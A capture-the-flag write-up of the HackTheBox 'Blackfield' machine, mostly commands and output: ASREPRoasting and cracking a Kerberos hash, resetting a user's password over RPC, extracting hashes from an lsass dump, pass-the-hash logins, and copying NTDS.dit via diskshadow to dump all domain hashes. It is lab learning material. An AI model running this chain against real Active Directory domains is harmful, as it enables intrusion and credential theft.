Summary
Blackfield is my first Hard machine from HackTheBox. It showed me some valuable Active Directory tricks that I will show you today. Hope you enjoy it!
Ports and services enumeration
We will start enumerating ports and services using nmap.
root@PwnedC0ffee:~# nmap -sC -sV 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-28 10:49 EDT
Nmap scan report for 10.10.10.192
Host is up (0.042s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-28 21:49:22Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=9/28%Time=5F71F7F6%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.00:
|_ Message signing enabled and required
|_smb2-time: Protocol negotiation failed (SMB2)
As we can see, we are dealing with a Domain Controller for an Active Directory at the domain blackfield.local. The hostname is DC01.
Potentially interesting ports are 88 (Kerberos), 445 (SMB) and 3286 (LDAP).
At the moment of this writeup, I am getting familiar with the Active Directory technologies and pentesting. So this machine took me a long time and I really had to search a lot of things in Google. That’s why it is really probable that I have misunderstood something. Feel free to email me with any correction if you see any mistake!
SMB Enumeration
A common mistake on SMB servers is enabling anonymous authentication. We will use smbclient (a FTP-like client for SMB) and try to login using an empty password:
smbclient -L //10.10.10.192
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
This will show us several share disks, but two of them seem interesting: forensic and profiles$.
So let’s enumerate profiles$:
root@PwnedC0ffee:~# smbclient //10.10.10.192/profiles$
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jun 3 12:47:12 2020
.. D 0 Wed Jun 3 12:47:12 2020
AAlleni D 0 Wed Jun 3 12:47:11 2020
(...)
audit2020 D 0 Wed Jun 3 12:47:11 2020
(...)
support D 0 Wed Jun 3 12:47:12 2020
svc_backup D 0 Wed Jun 3 12:47:12 2020
(...)
A large list of usernames will be displayed. However, there are three of them which stands out because of the name structure: audit2020, support and svc_backup. So we add them to a file named users.txt.
ASREPRoast Attack
ASREPRoast Attack looks for users without Kerberos pre-authentication required attribute. This means we can request authentication data for any user in the domain and the DC would return an encrypted TGT that can be brute-forced offline.
For this purpose we’ll use Impacket’s GetNPUsers.py:
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# python ~/Tools/Impacket/examples/GetNPUsers.py blackfield.local/ -usersfile users.txt -outputfile hash.txt -dc-ip 10.10.10.192 -format john
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
from cryptography import x509
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
We have obtained the encrypted TGT for user support. Let’s crack it.
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# cat hash.txt
$krb5asrep$support@BLACKFIELD.LOCAL:020491bb9675513bdc06bdd93dd18518$1b46e6c498d6a9581192e468747524a32e74df1d9056df167f098f2e04e19cc1509b11f35ad12488bc7bcef852747f8cb57c1d06523df2bf443f67bb0293b51cf412a7dc913334c2c64e93877f2b2f8095376cd4b806c409b7fd0409a402d59d46232ecdb9f212705a5f5e1b6ac909dedb4d4591608e19e4761e0c2e855e7c89a8811059f439c578434a77205d1e7464b03190a93f7bd44cf1aa15c304e3f198acd3c625d4d31891e34f26a2a1207c6cb84b2c094e30725b22ddc580bee58ace6334041d9bd4c571cafd55b255bb17c9e350c3a2b90aebae528826247422c954d774a19d8aff70dd96ef8ba1c3f8b372fe259e08
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight ($krb5asrep$support@BLACKFIELD.LOCAL)
1g 0:00:00:10 DONE (2020-09-28 12:47) 0.09233g/s 1323Kp/s 1323Kc/s 1323KC/s #1WIF3Y..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# john hash.txt --show
$krb5asrep$support@BLACKFIELD.LOCAL:#00^BlackKnight
1 password hash cracked, 0 left
So we have the following credentials:
support : #00^BlackKnight
RPC
Once I got the credentials, I remembered the RPC service running, from the nmap scan. I tried to login using rpcclient and it worked!
root@PwnedC0ffee:~# rpcclient -U support -W blackfield.local 10.10.10.192
Enter BLACKFIELD.LOCAL\support's password:
rpcclient $>
So now it’s time for some RPC enumeration. First of all, we can retrieve domain usernames:
rpcclient $> getusername
Account Name: support, Authority Name: BLACKFIELD
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
(...)
user:[svc_backup] rid:[0x585]
user:[lydericlefebvre] rid:[0x586]
We can see a new interesting username: lydericlefebvre.
A bit of Google showed me that I could change non-admin users’ passwords from RPC.
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020: Asdf2020
Enter WORKGROUP\support's password: #00^BlackKnight
Again SMB (forensic)
At this moment I remembered the forensic share on SMB server. When I tried to access, it required credentials (and empty password didn’t work). So I tried to login as audit2020.
root@PwnedC0ffee:~# smbclient //10.10.10.192/forensic --user=audit2020 --workgroup=blackfield.local
Enter BLACKFIELD.LOCAL\audit2020's password: Asdf2020
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Feb 23 08:03:16 2020
.. D 0 Sun Feb 23 08:03:16 2020
commands_output D 0 Sun Feb 23 13:14:37 2020
memory_analysis D 0 Thu May 28 16:28:33 2020
tools D 0 Sun Feb 23 08:39:08 2020
7846143 blocks of size 4096. 4003918 blocks available
smb: \>
Here we will find several interesting things. First of all, the usename and share drive make us think that there is an auditory in course. Inside the tools directory, we’ll find volatility, which is a known tool to perform memory analysis.
If we go to memory_internals/ we’ll see a file called lsass.zip. Let’s download it for further analysis:
smb: \memory_analysis\> ls
. D 0 Thu May 28 16:28:33 2020
.. D 0 Thu May 28 16:28:33 2020
conhost.zip A 37876530 Thu May 28 16:25:36 2020
ctfmon.zip A 24962333 Thu May 28 16:25:45 2020
dfsrs.zip A 23993305 Thu May 28 16:25:54 2020
dllhost.zip A 18366396 Thu May 28 16:26:04 2020
ismserv.zip A 8810157 Thu May 28 16:26:13 2020
lsass.zip A 41936098 Thu May 28 16:25:08 2020
mmc.zip A 64288607 Thu May 28 16:25:25 2020
RuntimeBroker.zip A 13332174 Thu May 28 16:26:24 2020
ServerManager.zip A 131983313 Thu May 28 16:26:49 2020
sihost.zip A 33141744 Thu May 28 16:27:00 2020
smartscreen.zip A 33756344 Thu May 28 16:27:11 2020
svchost.zip A 14408833 Thu May 28 16:27:19 2020
taskhostw.zip A 34631412 Thu May 28 16:27:30 2020
winlogon.zip A 14255089 Thu May 28 16:27:38 2020
wlms.zip A 4067425 Thu May 28 16:27:44 2020
WmiPrvSE.zip A 18303252 Thu May 28 16:27:53 2020
7846143 blocks of size 4096. 4003629 blocks available
smb: \memory_analysis\> get lsass.zip
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (2285.6 KiloBytes/sec) (average 2264.6 KiloBytes/sec)
After unzipping it, we’ll get a file named lsass.DMP, which seems to be a memory dump of the lsass process, which is used by Windows for authorization processes.
There is a known attack which consists in retrieving hashes from the lsass process dump. Mimikatz can be used to get the hashes from the dump. Luckily for us (Linux users), there is a Python port for this tool, called Pypykatz. So we run pypykatz to get the hashes:
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
(...)
The first result shows the NT hash for the svc_backup user. We can now use evilwinrm to pass-the-hash and break into the system!
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i 10.10.10.192
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $env:username
svc_backup
We can now read user.txt, which is located at C:\Users\svc_backup\Desktop\
Privilege Escalation
Okay, this was the hard part. I had no idea of what I was doing, so I will try to explain what I understood.
First of all, we check svc_service privileges:
*Evil-WinRM* PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We have SeBackupPrivilege and SeRestorePrivilege, which means we can backup and restore files in the AD. This PDF showed me the way to root. What we want to do is to backup the NTDS.dit.
The NTDS.dit is the Active Directory database which stores hashes, among other things. However, we’ll need the boot key stored in the SYSTEM hive in the Registry in order to decrypt it.
NTDS.dit Backup Using diskshadow
Diskshadow is an interactive command interpreter similar to Diskpart, which can be used to create Volume Shadow Snapshots (VSS) of disks and expose them as a diskletter.
First of all we will create a script with diskshadow’s commands:
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# cat script.txt
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias pwnedcoffee
create
expose %pwnedcoffee% z:
And upload it to the Windows machine through evil-winrm:
*Evil-WinRM* PS C:\> New-Item -ItemType directory c:\Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/28/2020 6:01 PM Temp
*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> upload /root/Desktop/hackthebox/blackfield/script.txt
Info: Uploading /root/Desktop/hackthebox/blackfield/script.txt to C:\Temp\script.txt
Data: 128 bytes of 128 bytes copied
Info: Upload successful!
We need to obtain the privilege to copy the NTDS.dit file:
*Evil-WinRM* PS C:\> $NTDS = "C:\Windows\NTDS\ntds.dit"
*Evil-WinRM* PS C:\> $acl = Get-Acl $NTDS
*Evil-WinRM* PS C:\> $AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("blackfield.local\svc_backup","FullControl","Allow")
*Evil-WinRM* PS C:\> $acl.SetAccessRule($AccessRule)
*Evil-WinRM* PS C:\> $acl | Set-Acl $NTDS
Now we can mount the file system using diskshadow and our script:
*Evil-WinRM* PS C:\Temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 9/28/2020 6:16:01 PM
-> SET CONTEXT PERSISTENT NOWRITER
SET CONTEXT { CLIENTACCESSIBLE | PERSISTENT [ NOWRITERS ] | VOLATILE [ NOWRITERS ] }
CLIENTACCESSIBLE Specify to create shadow copies usable by client versions of Windows.
PERSISTENT Specify that shadow copy is persist across program exit, reset or reboot.
PERSISTENT NOWRITERS Specify that shadow copy is persistent and all writers are excluded.
VOLATILE Specify that shadow copy will be deleted on exit or reset.
VOLATILE NOWRITERS Specify that shadow copy is volatile and all writers are excluded.
Example: SET CONTEXT CLIENTACCESSIBLE
But I got an error when running the script. I don’t know why, but it seems that the last character of every line was being removed. So I decided to add a dummy character at the end.
SET CONTEXT PERSISTENT NOWRITERS$
add volume c: alias pwnedcoffee$
create$
expose %pwnedcoffee% z:$
And now it works perfectly!
*Evil-WinRM* PS C:\Temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 9/28/2020 6:17:54 PM
-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias pwnedcoffee
-> create
Alias pwnedcoffee for shadow ID {2389e80b-ca09-4ab4-a472-5f8239201264} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc} set as environment variable.
Querying all shadow copies with the shadow copy set ID {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc}
* Shadow copy ID = {2389e80b-ca09-4ab4-a472-5f8239201264} %pwnedcoffee%
- Shadow copy set: {0a7b7ac9-ef35-439c-8f02-e8cb9b491cfc} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 9/28/2020 6:17:55 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %pwnedcoffeey% z:
Could not find value for alias pwnedcoffeey in current environment.
Cannot execute command. One or more aliases do not exist.
Now we can copy the NTDS.dit file into C:\Temp and download it:
*Evil-WinRM* PS z:\Windows\NTDS> cp ntds.dit C:\Temp
*Evil-WinRM* PS z:\Windows\NTDS> cd C:\Temp
*Evil-WinRM* PS C:\Temp> download ntds.dit
Info: Downloading C:\Temp\ntds.dit to ntds.dit
Info: Download successful!
And we need also the System hive in the registry:
*Evil-WinRM* PS C:\Temp> reg save hklm\system .\system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> download .\system.bak
Info: Downloading C:\Temp\.\system.bak to system.bak
Info: Download successful!
Getting the Administrator hash
We will use impacket-secretsdump to retrieve hashes from the NTDS.dit file:
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
(...)
We can now pass-the-hash using evil-winrm again to get Administrator access:
root@PwnedC0ffee:~/Desktop/hackthebox/blackfield# evil-winrm -u Administrator -H 184fb5e5178480be64824d4cd53b99ee -i 10.10.10.192
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
And finally we can get the root.txt flag!